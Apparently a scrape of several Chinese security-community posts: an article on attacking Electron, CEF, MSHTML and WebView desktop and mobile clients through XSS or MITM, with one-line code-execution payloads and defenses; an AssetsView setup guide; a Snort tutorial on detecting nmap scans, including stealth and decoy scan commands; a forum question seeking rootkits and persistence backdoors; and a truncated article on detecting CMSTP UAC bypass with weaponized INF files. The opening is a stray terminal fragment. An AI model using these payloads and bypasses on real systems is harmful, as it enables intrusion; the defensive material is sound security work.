for authenticated connections. (DEPRECATED; see
--help-auth instead)
--version Display Twisted version and exit.
--help-auth Show all authentication methods available.
sroot@lab:/tmp# tudo easy_install twisted
root@lab:/tmp# twistd -n ftp -p 2121 --userAnonymous=anonymous
2016-03-06 11:24:24-0500 [-] Log opened.
2016-03-06 11:24:24-0500 [-] twistd 15.5.0 (/usr/bin/python 2.7.11) starting up.
2016-03-06 11:24:24-0500 [-] reactor class: twisted.internet.epollreactor.EPollReactor.
2016-03-06 11:24:24-0500 [-] FTPFactory starting on 2121
2016-03-06 11:24:24-0500 [-] Starting factory <twisted.protocols.ftp.FTPFactory instance at 0xb6c2474c> | 社区文章 |
作者：[ZSX](https://blog.zsxsoft.com/post/32 "ZSX")
随着前端技术的高速发展，越来越多的软件正在使用浏览器相关技术作为其组成的一部分。和完全使用传统客户端技术开发的软件相比，部分或完全使用网页前端技术开发的软件有着开发成本低、部署成本低的优势。但自然而然地，我们也可以用常用的针对
Web 进行攻击的技术来攻击这一些客户端。由于客户端软件拥有更大的权限，在 Web 上使用场景严重受限的攻击技术，往往能造成更大的危害。
#### 可以攻击到哪些软件呢？
这一种攻击手法真正做到了“一视同仁”，无论是桌面端还是移动端，不管是什么操作系统，只要是使用了浏览器相关技术，且代码存在缺陷的软件，都有潜在被攻击的可能。
本文在桌面端将围绕着 MSHTML、Electron、nwjs、CEF、QtWebKit
等展开讨论，移动端将围绕着直接引用`android.webkit.WebView`、使用 Cordova 、
5+Runtime（DCloud）等库展开讨论。
#### 攻击方式有哪些呢？
常用的客户端攻击技术，包括缓冲区溢出漏洞等，不在本文的讨论范围中。于是我们还剩下在 Web 里负责最终用户的 XSS / CSRF / MITM
等、负责服务器的 SQL Injection / SSRF / 命令注入 / 文件上传等，同时还能把一些客户端攻击技术与 Web 结合，处理成新的攻击手段。
#### 用途较少的 Web 攻击技术
负责服务器的 Web 攻击技术对客户端大部分都没有什么用途，原因包括：
1. 我们一般不直接和客户端进行连接，往往都通过服务器中转，那直接攻击服务器会是更好的选择；
2. 客户端的内网环境大多都没有什么敏感内容能作为进一步攻击的跳板（如攻击Redis、攻击MySQL、攻击SQL Server）。
SQL Injection还是有一定程度上的利用价值的，但客户端的 SQL 注入仍然比较鸡肋。大部分客户端都使用 SQLite
作为其本地关系型数据库，一般只能注入获得用户信息；而使用 Electron 编写的客户端在本地开个 PouchDB
之类的轻量级非关系型数据库也就是一两行的事情。即使注入成功，还可能缺少把信息传出的机制。需要配合其他漏洞使用。
CSRF和客户端更没有多大关系，它走的仍然是服务器的接口。
#### HTML Hijacking
在 Windows 下，有一种常见的攻击手段叫 DLL Hijacking。绝大部分程序都有代码重用的需求，不能把代码静态编译到 exe
内。为了解决这种问题，就出现了动态链接库（DLL）技术。程序使用 `LoadLibrary` 将DLL加载进内存，然后执行 DLL
内的代码。自然而然地，如果我们把程序要加载的 DLL 替换为我们自己的 DLL，那我们就可以让程序执行我们想要的任意代码。需要注意的是，这并不是
Windows 的专属问题，Linux 和 macOS 下也可以劫持 .so 文件。
而在 WebApp 中，我们可以注意到，几乎所有的 .html 文件都是外部资源。对这些外部资源进行修改，就达到了和 DLL Hijacking
相同的效果。
Electron 中，资源通常以 asar 格式打包或者不打包，存放在 resources 目录之下。asar 格式类似
tar，只做归档，不提供签名和校验功能。也就是说，我们只要把 resources 目录进行替换，就可以让 Electron App 执行任意代码。
我们举一个非常恶趣味的例子，让 WordPress.com 和 Ghost 的 Native App 的代码互换。
可以注意到，`Ghost.exe`的数字签名还是一切正常的状态。
——那边用 CEF 的别笑，你们也一样。只要你们的HTML文件存在本地，就拥有被劫持的可能。
这种攻击对目标用户有什么用呢？当然，它并不直接攻击目标用户。他的用途包括：
1. 通过其他漏洞入侵用户电脑后，可以通过这种方式把恶意代码隐藏，达到就算用户使用杀毒软件清理病毒后，启动你的程序便又“春风吹又生”的效果。早年的`lpk.dll`系列病毒便是基于这个原理。
2. 如果你的程序有数字签名，我就可以把恶意代码藏在JS里。这并不破坏数字签名，若用户在非官方网站下载到带料的你的程序，由于有数字签名的存在，用户会认为是你的程序有恶意代码，或是根本查不到源头。杀毒软件一般对于有数字签名的程序会更为信任，进一步可能达成“免杀”的效果。
3. 方便黑客调试你的程序，找到其他的安全漏洞以便影响最终用户。
##### 如何防御
如果程序不带数字签名，那也不必花心思来防范这种攻击了，投入产出不成正比。
使用 CEF 和 QtWebKit 的可以在加载每一个HTML之前通过已经签名、且含有校验信息的DLL对其进行校验。
使用 nwjs 的话，因为它的HTML代码是通过 zip 压缩后直接通过`copy /b`附加到程序后部的，所以理论上直接打数字签名即可解决。而
Electron 我并没有找到特别好的方法，可以关注：<https://github.com/electron/electron/pull/9648>
#### RCE！
然后，就是 RCE(Remote Code Execution，任意代码执行) 了。我们可以进行 MITM 攻击，或者是利用 XSS 漏洞，还可以利用
Flash 的安全漏洞。针对 Web App 这一形式，如果其使用了`<iframe>`或`<webview>`我们甚至还可以进行所谓的“任意地址浏览”。
我们姑且不考虑利用浏览器内核本身的漏洞进行攻击的手段。这类漏洞本身数量稀少，而且相当多还需要浏览器其它组件的支持，仅有一个内核也没多大用途。况且这部分通常可以通过浏览器本身的安全通告发现，及时更新即可解决。在这之外，你可能没想到的是，MITM
和 XSS 会是最后的主角。这两种攻击方式一种难度大 + 面对客户端没什么用，一种拿个 Cookie 之后就没什么用了。但我们的战场可是 Web
客户端。如果我们的网页是通过明文 HTTP 协议传输的，便可以通过 MITM 让客户端处理任意代码。如果无法利用 MITM ，那么可以试图寻找 XSS
漏洞来写入任意代码。而在浏览器之外的客户端程序执行任意代码，可能是致命的。
现在有不少客户端的 Web 页面是通过 HTTP 协议从互联网上拉取的，不存储在本地。比如说
Steam。还有一部分客户端采取部分本地代码、部分加载远程网页的形式。反正大家都是浏览器嘛，看看迅雷9，那就真的把自己当成浏览器来处理了。——但无论是
Electron 还是 Cordova，实际上都并不设计为浏览器，因此直接使用它们便会产生相应的安全隐患。使用 CEF、QtWebKit
等，也在一定情况下存在安全问题。
通过 XSS 等手段想办法得到执行任意代码的权限后，我们看看怎么逃离这个客户端吧。
##### 通用攻击手段
首先是 Electron 和 Nwjs。这两个框架的 JavaScript 代码几乎拥有和 C++ 代码同等的权限，于是我们直接一行代码弹个计算器。
require('child_process').execSync('c:\\windows\\system32\\calc.exe')
除去 XSS 之外，如果一个 Electron
同时负担了浏览器访问网页的职能，在没做安全配置的情况下照样可以一行代码弹个计算器。即使正确配置了`nodeIntegration`恐怕也无济于事，今年的
BlackHat 大会发布了这么一篇文章，即是讲述如何绕过该功能实现 RCE
的（`CVE-2017-12581`）：<https://www.blackhat.com/docs/us-17/thursday/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security.pdf>
其次是国内 DCloud 出的 5+Runtime（<https://dcloud.io/runtime.html>
），自带`Native.js`（<https://ask.dcloud.net.cn/docs/#//ask.dcloud.net.cn/article/88>
），对其进行攻击效果也拔群。
而未正确配置的 CEF 和 QtWebKit，往往也可以造成任意代码执行。一个典型的例子，目前在网络上流传的在 CEF 里启用 Flash PPAPI
插件的代码，几乎无一例外关闭了`web_security`，同时打开了`no_sandbox`。很多开发者为了自己读写本地资源方便，也都关闭了它，如图。
在低版本的 CEF 中，如果关闭了 `web_security`，只需要一行代码即可打开计算器（在默认浏览器被设置成 IE 的情况下）
window.open('file://c:/windows/system32/calc.exe')
而在高版本的 CEF
中，无法打开计算器了。出于不知道什么原因，也无法读写文件（<https://bugs.chromium.org/p/chromium/issues/detail?id=40787>
，可以确认的是 QtWebKit 也不行），就不能使用通用的方案处理了。
——但别忘了 Flash 的存在。我们可以想办法看看这个程序有没有加载 Flash。
针对使用多进程的 CEF，直接看启动参数即可。
单进程的程序，就需要打开一个带有 Flash 的页面后，观察其 DLL 加载情况。或者直接开 IDA 逆向一波。
拿到 Flash 版本后，查查该版本 Flash 有啥 Bug，一波带走即可。
至于MSHTML？感谢 COM 组件。
(new ActiveXObject('WScript.Shell')).Run('calc.exe');
##### 定制攻击手段
通用的攻击手段实在不多，如果多的话，像 QQ 和微信早就被日穿了。所以，我们需要针对每个应用寻找有效的攻击代码。
以 Cordova 为例。`cordova-plugin-inappbrowser`基本上是大家都必装的插件。于是，我们调用系统浏览器，利用 URI
Scheme 弹个B站客户端先。
window.open('bilibili://bangumi/season/6463', '_system')
想读通讯录？看看有没有`navigator.contacts`；读写文件？看看`window.requestFileSystem`。
从上面的例子可以发现，我们的重点就是，
1. 找到 Native 代码与网页的通讯方式。
2. 确认 Native 暴露了哪一些 API 给网页。
那具体应该怎么找呢？
首先先试试能不能打开浏览器开发者工具。针对 Android App，可以通过 Chrome 浏览器进行远程调试。大部分使用了 WebView 的 App
发布后都没有关闭远程调试这一功能，这为我们的攻击带来了极大的方便。
随手打开一个B站客户端看看
如果能打开开发者工具，那要找特殊 API 就非常容易了；不能打开，也不是没有办法。
document.write(Object.keys(window).join('\n'))
通过这种方法可以把 window 下的键值全部输出到屏幕上，下一步一步一步慢慢找。一般来说，浏览器可以调用的特殊 API
在`window`、`navigator`、`external`三个位置上都可以找到。找到可以利用的函数后，可以接着全文搜索函数名查找引用，模仿着直接调用即可。可以利用的功能包括“打开文件”（在
Windows
下一般使用`ShellExecute`实现，因`.exe`、`.scr`的文件关联为其自身，故可打开任意程序）、“打开程序”、“打开子窗口”等。
如果找不到可以利用的函数，或者在直接调用时做了一定程度上的过滤，则应当去找任意一个函数的源码，研究其如何与 Native 交互。
可以用
document.write(someFunction.toString())
把函数源码输出到屏幕上（有开发者工具直接进 Source 看就好了）。
接着，我们需要配合逆向服用。
如果其显示的是`[native code]`，说明这是一个直接暴露给 JavaScript 的 API。对于 Android App 的
WebView，可以直接逆向为 .jar 后搜索`addJavaScriptInterface`函数，看到浏览器到底给 JavaScript
暴露了哪些东西。对于 CEF 等框架，可以从 Strings 搜索关键词直接一步一步 X 上去找到最终执行的函数，或者直接附加进程调试。
如果其显示的是 JavaScript 代码，则可一步一步跟踪上去直到顶层，看他的通信方式。目前比较流行的通信方式是自定义 URL Scheme
方式。其原理如下：
1. JavaScript 通过 iframe 或者 `location.href` 尝试打开地址`my-custom-scheme://my-custom-data`
2. 当检测到打开新地址时，Android WebView会触发`shouldOverrideUrlLoading`函数，由其来决定该地址应当如何处理；CEF 如果之前使用`CefRegisterSchemeHandlerFactory`注册过自定义 Scheme，则会交由其处理。
3. 处理过程通常是异步的，并且地址切换后无法直接告知 JavaScript。所以，处理完成后，Native 代码通过`evaluateJavaScript`或者直接让框架访问`javascript:xxxxxxx`调用某个页面内的回调函数，完成通信。
所以对 Android 进行攻击的话，寻找那几个函数即可查到所有通讯方式。另外 Android 通常还会使用一些库包装 Scheme
处理，也不妨找找它们的特征，如：<https://github.com/lzyzsd/jsbridge>
##### 能攻击*Native吗？
React Native如果使用了`<webview>`也会受到相应的影响。但如果没有的话一般不用考虑，除非代码中存在`eval`等可能任意执行
JavaScript 的地方。对 NativeScript 这种可任意调用 Java 库的库，还是存在一定危险性的。
举一个比较有趣的知识+例子。在 IE8 之前，前端处理 JSON 通常使用以下代码：
var json = eval('(' + data + ')')
当然现在的前端都已经用上了`JSON.parse`了，不过说不定有人坚持使用呢 :)
##### 如何防御
1.使用 HTTPS，在有条件的情况下校验证书，避免中间人攻击。
2.写入和输出数据时做好过滤，不信任所有的用户提交的数据。项目最初选型时就应该使用 React、Vuejs 等前端框架，避免自行拼接 HTML 出现问题。
3.在正式发布的软件上，关闭 WebView 的调试模式，Android 上：
WebView.setWebContentsDebuggingEnabled(false);
4.对 Native 和 JavaScript 交互的代码进行白名单处理，当检测到域名非白名单域名时，拒绝 JavaScript 调用接口的请求。
5.在条件允许的情况下开启浏览器沙箱，同时杜绝`disable-web-security`行为，使用单个功能的命令行参数解决。
6.必须配置好CSP，预防真的出现 XSS 后的进一步利用。
* * * | 社区文章 |
这是一篇原本想谈用开源工具AssetsView做企业安全的文字，但还是忍不住多说些什么，包括基于网络层的大规模网络管理在内，成为我时常想关注想学习的内容。
缘由最近心血来潮，想把IT资产管理这件困难的事情在思想上理一理。一是遵从合规要求，真正意义上干漂亮这个事，同时更希望通过自动化工具实现资产识别和风险检测；二是自15年工作中接触过网络拓扑发现技术后，便一直对其强大的能力念念不忘，而对这种技术应用于大规模网络的网络安全保持着巨大的兴趣。
# 一、 **拓扑发现的二三事**
## (一) **拓扑发现是什么**
拓扑发现是网络设备与网络连接之间的探索和映射过程，通过技术手段获取网络节点的存在信息和节点之间的连接信息，从而形成网络拓扑图。拓扑发现的过程能够动态进行，持续发生，能够监控网络状态，识别网络瓶颈，这也是保证网络有效性的重要手段。
## (二) **怎样实现拓扑发现**
现实世界我们有很多商业化的工具可以做拓扑发现，功能强大，包括大量的网络安全功能；也有包括LanTopoLog这样的免费软件可以体验。
这些工具背后的技术很多与网络2层或3层有关，包括SNMP协议、网络活跃性探测和路由分析技术（指OSPF、EIRGP这样的路由协议），以及厂商的Cisco
Discovery Protocol (CDP)和Juniper Discovery Protocol
(JDP)等等。这些技术一般都属于网络工程师所接触的高级技能范畴，日常都不大去涉及，玩深玩透更是有难度。不过笔者非常建议大家多去了解一下这一块内容，这能够帮助我们不断接触到很多强大的网络工具。
## (三) **拓扑发现的网络安全功能**
可以预期通过拓扑发现技术，可以不断识别网络地址空间，并不断探索网络的边界；可以持续地对终端设备进行普查，这种审查发生在网络核心，不需要安装终端；同时，能够不断积累设备元数据和行为数据。
这些能力能够发现未曾记录在档案的网络，发现网络中的无赖设备，甚至发现有威胁特征的设备，等等。而消除这些网络安全风险所付出的代价又较小，这也是我青睐于拓扑技术在网络安全中应用的重要原因。
# 二、 **AssetsView安装教程**
商业工具和免费工具往往由于“只有一块钱做安全”和扩展性较差这样的理由直接枪毙掉，因此选择开源软件，进行二次开发也成为持续能力的重要保证。Assets
View是偶然发现的安全类开源软件，并且使用了拓扑技术实现资产发现、网络拓扑管理，这很符合我的关注点。为此，我决定搭建这样的一套系统。
由于系统前端Web采用PHP+MYSQL开发，后端拓扑发现使用C实现，我分两步搭建。
## (一) **Web前端部署**
虽然与拓扑发现有关，但AssetsViews与很多LAMP系统的搭建别无二致。具体给出CentOS 7下面的安装脚本：
1. 安装MySql数据库
yum -y install mariadb-server mariadb
systemctl start mariadb.service
systemctl enable mariadb.service
MySQL的数据导入使用source指令即可，数据库脚本文件路径在“data\db”。
2.安装Apache服务器
yum -y install httpd
systemctl enable httpd.service
systemctl start httpd.service
3.开启CentOS 7的防火墙
firewall-cmd --permanent --zone=public --add-service=http
firewall-cmd --permanent --zone=public --add-service=https
firewall-cmd --reload
4.安装PHP和需要扩展模块
yum -y php php-mysql
LAMP环境部署完成后，可以将AssetsView导入Web目录，并配置Apache权限。之所以修改Apache权限，主要由于AssetsView使用了Apache的URL地址重写功能。
另外，大家在访问Web时会遇到部分JS调用异常的问题，这是由于“static\js\json”下面的JS文件内存在固定IP的缘故，删除或者替换为自己主机的IP，调用异常的情况就能够解决。
## (四) **后端源码编译**
如果，你和我一样尝试过对topo_scan模块进行编译，就知道整个编译过程并不顺利，有依赖库、数据库配置需要去修改，而且在GCC环境下，遗留个的C代码总有一些错误让你无法绕过；同时由于topo_scan使用了nmap的源码，目录分离进行编译必然又是一件吃苦头的事情。
既然topo_scan基于nmap，那么以nmap编译为基础，整个过程就会顺利不少。附上过程：
建立开发环境
yum groupinstall "Development Tools"
yum install glib2-devel mariadb-devel net-snmp-devel
下载nmap-7.12.tar.bz2，默认使用的是7.12版本的nmap，暂时还没测试过7.50。
bzip2 -cd nmap-7.12.tar.bz2 | tar xvf -
cd nmap-7.12
./configure
make
为了降低编译过程的难度，最好将修改后topo_scan源码与nmap源码合并编译。为了实现外部定义数据库连接信息，笔者引入RapidJSON作为配置管理工具，对应的文件为“topo_scan.json”。
我将修改后的源码附上，大家可以做参考。为了达成编译，需要对nmap下Makefile文件的做一定的修改，包括源码文件列表，具体为Makefile文件展示部分：
Makefile文件引用
export SRCS = main.cc handle_hash.cc thread_pool.cc common.cc icmp_snmp.cc handle_mysql.cc handle_snmp.cc switch_link.cc queue.cc charpool.cc FingerPrintResults.cc FPEngine.cc FPModel.cc idle_scan.cc MACLookup.cc main_nmap.cc nmap.cc nmap_dns.cc nmap_error.cc nmap_ftp.cc NmapOps.cc NmapOutputTable.cc nmap_tty.cc osscan2.cc osscan.cc output.cc payload.cc portlist.cc portreasons.cc protocols.cc scan_engine.cc scan_engine_connect.cc scan_engine_raw.cc service_scan.cc services.cc Target.cc TargetGroup.cc targets.cc tcpip.cc timing.cc traceroute.cc utils.cc xml.cc $(NSE_SRC)
export HDRS = charpool.h FingerPrintResults.h FPEngine.h idle_scan.h MACLookup.h nmap_amigaos.h nmap_dns.h nmap_error.h nmap.h nmap_ftp.h NmapOps.h NmapOutputTable.h nmap_tty.h nmap_winconfig.h osscan2.h osscan.h output.h payload.h portlist.h portreasons.h protocols.h scan_engine.h scan_engine_connect.h scan_engine_raw.h service_scan.h services.h TargetGroup.h Target.h targets.h tcpip.h timing.h traceroute.h utils.h xml.h $(NSE_HDRS)
OBJS = handle_hash.o thread_pool.o common.o icmp_snmp.o handle_mysql.o handle_snmp.o switch_link.o queue.o main_nmap.o charpool.o FingerPrintResults.o FPEngine.o FPModel.o idle_scan.o MACLookup.o nmap_dns.o nmap_error.o nmap.o nmap_ftp.o NmapOps.o NmapOutputTable.o nmap_tty.o osscan2.o osscan.o output.o payload.o portlist.o portreasons.o protocols.o scan_engine.o scan_engine_connect.o scan_engine_raw.o service_scan.o services.o TargetGroup.o Target.o targets.o tcpip.o timing.o traceroute.o utils.o xml.o $(NSE_OBJS)
对Makefile文件的修改，算是玩了一个小把戏，也是遵循nmap的源码结构做的微调。个人体会，在基于成熟的开源项目做开发时，一定要迎合原有的体系去做功能调整，这样改动小也能事半功倍，同时通过摸索nmap原来的源码结构可学到成熟的开发体系。
AssetsViews的效果图大家可以在项目主页去看，目前修改后的topo_scan代码仍在网络核心层SNMP代码部分的测试过程中。根据目前测试的情况，后续需要修订部分代码以完善SNMP的扫描功能。当然这也将是后续的事情了。
# 三、 **总结**
一直觉得做网络安全，学习路由、交换的知识是很有必要的，最终虽不一定去考证去配置设备，但学会规划网络，理解复杂网络技术，对于做好网络安全大有裨益，这才能真正地做好网络层的IT资产管理。
最后，向AssetsView的作者致谢，他开了个好头。
# 四、 **参考资料**
1. <https://github.com/Cryin/AssetsView>
2. <https://www.ipswitch.com/resources/best-practices/topology-discovery>
3. <https://lantopolog.com/>
4. <https://nmap.org/>
5. <http://code.tencent.com/rapidjson.html> | 社区文章 |
# 网络侦查(Recon)技术入门
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://resources.infosecinstitute.com/snort-network-recon-techniques/>
译文仅供参考，具体内容表达以及含义原文为准。
在这篇文章中,我们将学习一些流行的网络侦查技术,以及实践编写一些Snort的检测规则。
练习一:网络发现
Nmap是至今为止世界上信息安全领域中最受欢迎的工具之一。这种受欢迎的程度可以归因于很多因素。其中之一当然是因为它的高效。虽然一般介绍Nmap都是作为端口扫描器,但它远远不止这些功能。我们将使用这个来练习基本的网络发现。下面的例子中,我们进行了一次ping扫描,用于发现网络中的设备。你的实验环境可能是其他的网络范围,因此注意不要输错你的实际目标网络范围。
nmap - sp 192.168.x.0/24
在这个例子中,我们可以看到似乎有六个存活主机(你得到的结果可能不同,这取决于你的实验环境)。这就是一次最基本的Nmap扫描。接下来我们将Snort修改为IDS模式,通过sudo
gedit /etc/snort/rules/local.rules来编辑相应规则,然后启动它:
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
现在再次进行Nmap ping扫描:
nmap - sp 192.168.x.0/24
你有没有在Snort中看到警报信息?没有?我们可以看下Nmap具体做了什么,我们可以运行相同的命令,增加一个-packet-trace选项。这个选项有利于我们学习各种不同的Nmap扫描方式,它会将Nmap发送的所有请求和收到的响应都输出到屏幕上。我们在终端中输入这条命令:
nmap -sp 192.168.95.0/24 -packet-trace
如图所示,我们可以看到Nmap发送的是ARP请求而不是ping所使用的ICMP。这是因为你扫描的是实验环境中的内部网络,Nmap足够聪明,它认为在这种情况下ARP就足够工作了。我们接着向下翻,会看到来自网络上的机器的响应信息,如图:
如果你使用以下命令强制Nmap使用ping:
这些选项告诉Nmap使用ICMP ping并且禁用ARP。检查你的Snort输出,我们会看到这样的结果:
这里可能会有一个假阳性问题,因为当前的Snort规则会对所有的ping进行警报,这样正常的ICMP请求也会被误报。比如这样:
因此我们需要筛选出Nmap的ping不同于正常ping的地方(也就是进行指纹识别),我们可以使用wireshark捕获一些流量,然后对其进行分析
我们使用Nmap制造一部分ping流量
nmap -sP 192.168.x.0/24 –-disable-arp-ping
然后在你的其他机器上发送一些正常的ping流量
ping 192.168.x.x
然后回到wireshark停止捕获,对流量进行过滤以便于分析
ip.dst==192.168.x.x && icmp
过滤之后的结果应该是这样
我们可以看到,正常ping的长度是60,而Nmap发送的是74;并且Nmap发送的 ICMP
Echo请求包中没有payload数据。我们可以基于这些修改我们的Snort规则:
icmp any any -> $HOME_NET any (msg:”Possible Nmap ping sweep”; dsize:0; sid:1000005; rev:1;)
之后我们再次进行上述测试,我们将会看到正确的运行结果。
练习二:使用Nmap进行端口扫描
我们使用如下命令进行基本的TCP扫描:
nmap -sT 192.168.x.x –-packet-trace
你应该可以再结果中看到一系列开放的端口,这些端口是你的目标服务器上所开放的,比如21是ftp端口,15是smtp端口,53是dns端口。
现在试着进行一次TCP连接扫描,使用如下命令:
nmap -sT 192.168.x.y,z
需要注意的是,Nmap并不是试图扫描所有端口。默认值会扫描常用的1000个端口,比如web服务所使用的80端口
如果我们要针对这种扫描进行Snort规则的编写,比如我们要检测telnet所使用的23端口,我们可以使用这样的规则:
tcp any any -> $HOME_NET 23 (msg:”TCP Port Scanning”; sid:1000006; rev:1;)
之后如果你对目标服务器进行扫描
nmap -sT 192.168.x.x
在Snort中你应该会看到这些:
针对端口扫描的另一种报警方式是根据单位时间内的请求数量进行识别。我们可以使用Snort德尔detection_filter 规则选项,例如使用这样的规则:
tcp any any -> $HOME_NET any (msg:”TCP Port Scanning”;detection_filter:track by_src, count 30, seconds 60; sid:1000006; rev:2;)
这条规则的意思是当检测到60秒内有超过30次TCP连接时进行报警
接下来我们注释条其他的规则,避免干扰,再次尝试扫描,我们只扫描21端口:
nmap -sT 192.168.x.x -p 21
在Snort中应该不会有报警信息
我们再次进行一次完整的扫描:
nmap -sT 192.168.x.x
现在Snort应该会输出这样的信息:
很明显,我们的规则生效了,但看起来警报信息太多了,我们需要做一下优化,我们可以这样修改规则,添加如下语句:
event_filter gen_id 1, sig_id 1000006, type limit, track by_src, count 1, seconds 60
就像这样
这条规则的意思是对于 sid为1000006的警报每60秒只输出一次,我们重新运行Snort,再次进行扫描,这次应该会是如下输出结果
很好,没有太多的输出干扰精力,这就是我们要的结果。
练习三:隐蔽扫描
第一步——时间
Nmap是非常快的扫描器,这是优点也是缺点,因为在很短的时间内发送大量数据包会被IDS所识别。
当然Nmap本身也提供有一些用于调节速度的选项,我们可以使用—T来进行制定,例如这条命令:
nmap -sT 192.168.x.x –p 80,135 –T sneaky
注意这次扫描的时间(例子使用了大概45秒):
如果我们使用insane类型,这会快得多,但很明显,也更容易被识别。除此之外,我们也可以-scan-delay来指定扫描延迟时间,例如使用这样的命令延时5秒:
nmap –sT 192.168.x.x –p 80,135 –scan-delay 5s
两个端口的5秒以及一个初始延迟5秒,用时应该是在15秒左右
我们也可以指定单位为毫秒,例如这样:
nmap –sT 192.168.x.x –p 80,135 –scan-delay 5ms
这是5毫秒,它完成得非常快,实际速度可能会受网络环境以及配置的影响。
第二步——隐蔽的TCP扫描
Nmap提供了一些方式用于隐蔽TCP扫描,例如SYN扫描:
nmap –sS 192.168.x.x
此外还有其他一些方式,都是利用了TCP协议中的微妙行为实现
针对这类扫描的指纹识别非常容易,只需要通过wireshark进行简单的流量分析,我们制造这些流量
nmap -sF 192.168.x.x
nmap -sX 192.168.x.x
nmap –sN 192.168.x.x
然后过滤出这些流量
ip.src==192.168.x.x && ip.dst==192.168.yy && tcp.port eq 21
可以在结果中看到我们的扫描流量
通过对这些流量进行分析,我们应该能够写出这样的检测规则:
tcp any any -> $HOME_NET any (msg:”Nmap XMAS Tree Scan”; flags:FPU; sid:1000007; rev:1;)
使用这条规则,然后我们再次进行扫描
nmap -sX 192.168.x.x -p 80
在Snort中我们会看到这样的信息:
步骤三——伪装扫描
一般的伪装扫描会伪造源地址,这使得日志难以分析,例如我们使用这样的扫描命令:
nmap -sS 192.168.x.x -D10.10.10.10,11.11.11.11,1.1.1.1,8.8.8.8
如果你使用wireshark捕获流量,你得到的结果会是这样的
很明显这些信息都是伪造的
通过分析,我们可以写出这样的检测规则:
tcp !192.168.x.0/24 any -> $HOME_NET 80 (msg:”Suspicious IP address”; sid:1000008; rev:1;)
之后如果再次进行这样的扫描,Snort中会输出如下信息:
以上就是一些基于Snort规则所做的侦查检测技术,如果我们能够熟练的定制相应的规则,我们就可以更好地做网络侦查。 | 社区文章 |
linux 和 windows 下的 rootkit 大家都用那个变种? 百度搜了几个，经测试都不成功。 除了kbeast和suterusu
大家都用那些rootkit 呢？
或者有其他比较好的持久化后门工具呢？ | 社区文章 |
# 使用 Sysmon 来检测利用 CMSTP 绕过 UAC 的攻击
|
##### 译文声明
本文是翻译文章，文章原作者 Nik Seetharaman，文章来源：endurant.io
原文地址：<http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/>
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
当我前几天仔细阅读MITRE的ATT&CK框架以了解我不太熟悉的技术时，我遇到了听起来模棱两可的CMSTP([T1191 in
ATT&CK](https://attack.mitre.org/wiki/Technique/T1191))，MITRE状态可用于绕过UAC和代码执行。据说最近也被一个国家的攻击者使用过，所以我想研究一下潜在的检测策略，并思考可能的盲点。
初步研究发现，CMSTP是一个旧的远程访问配置工具，它附带一个名为Config Manager Admin
Kit的配置向导。该向导将输出一个INF配置文件，可以在各个维度上实现武器化。
使用CMSTP调用武器化INF可以运行任意脚本(本地和远程)并绕过用户帐户控制，从而将安全上下文从中等完整性提升到高完整性。
由于CMSTP是一个位于System32目录中合法的Microsoft签名二进制文件，这意味着攻击者可以登陆系统，利用CMSTP绕过配置不佳的应用程序白名单列表，并通过WebDAV获得提权的shell或远程下载任意代码。
为了获得更多的背景资料，OddvarMoe撰写了一些关于[CMSTP是如何工作](https://oddvar.moe/2017/08/15/research-on-cmstp-exe/)的研究，这为我提供了一个很好的基础。
本文将探讨在尝试沿着这些不同的方法检测CMSTP利用时的各种注意事项，使用Windows Sysinals的Sysmon工具，使用Swift on
Security的基本配置，[GitHub地址](https://github.com/SwiftOnSecurity/sysmon-config)。
## CMSTP滥用向量
我调查了三种不同类型的CMSTP滥用的检测策略，它们都涉及任意代码执行，其中两种允许绕过UAC执行代码：
1. 调用武器化的.INF安装文件来运行包含恶意VBScript或JScript代码的本地或远程.SCT脚本。
2. 调用武器化的.INF文件来运行本地可执行文件，同时启用UAC绕过/提升完整性级别，从而允许提升shell。
3. 直接利用CMSTP连接到的COM接口，允许更隐蔽的UAC绕过。
让我们深入研究每种方法的检测注意事项。
### 方法1-INF-SCT启动
Bohops写了一篇很棒的[文章](https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/)，有一些关于INF-SCT获取和执行技术的背景。
要点是，可以修改恶意INF文件中的“UnRegisterOCXSection”来调用scrobj.dll，并让它执行包含恶意VBScript或JScript代码的本地脚本或远程获取的.SCT脚本。
让我们看一个示例(T1191.inf)，对应CMSTP Mitre Technique (T1191)，它是从[Atomic Red Team
repo](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1191)中下载的：
[](https://p1.ssl.qhimg.com/t0199b0c28e88a92bd5.png)
执行命令“cmstp.exe /s
t1191.inf”将下载并执行位于<https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1191/T1191.sct> 的SCT脚本。
该脚本如下所示：
[](https://p2.ssl.qhimg.com/t01ddb92321fcc3bd72.png)
在事件查看器中深入挖掘Sysmon日志后，我们看到生成了几个Sysmon事件。注意，生成的calc.exe具有c:windowssystem32cmstp.exe作为ParentImage，而IntegrityLevel是Medium，即没有出现完整性提升。
[](https://p0.ssl.qhimg.com/t01efeca711c4e47013.png)
现在让我们看看Sysmon
3网络连接。其中一个连接看起来是通过一个高数目的端口连接到本地主机。另一个显示了cmstp.exe通过443端口作为Image访问到151.101.120.133(Gitrub)。
[](https://p1.ssl.qhimg.com/t01294cc7c5c6abdae9.png)
因此，方法1潜在的Sysmon检测规则可能是：
* Sysmon Event 1，其中ParentImage包含cmstp.exe
* Sysmon Event 3，其中Image包含cmstp.exe，DestinationIP是外部的
### 方法2-通过INF RunPreSetupCommandSection 实现绕过UAC
正如Odvar Moe在他的[研究](https://oddvar.moe/2017/08/15/research-on-cmstp-exe/)中发现的那样，事实证明INF文件中的RegisterOCXSection并不是唯一容易被武器化的部分。查看由Connection Manager
Admin
Kit生成的另一个INF文件，可以插入任意二进制文件，以便在RunPreSetupCommandSection下执行。在本例中，我们生成一个shell，然后清除cmstp可执行文件。
[](https://p1.ssl.qhimg.com/t0136515c0d0fec5000.png)
这个方法在命令行上与在方法1中略有不同，需要一些新选项，确保在弹出的对话框中选中了“All Users/所有用户”，然后单击OK。
[](https://p2.ssl.qhimg.com/t01dcf1188e032e0fdb.png)
然后我们就有了shell。请注意，与前面的方法不同，可执行文件以这种方式运行，在不通知用户的情况下提升了它们的安全上下文，从而绕过UAC。我们将在方法3中研究一种更隐蔽的方法来实现这一点，该方法不涉及弹出窗口。
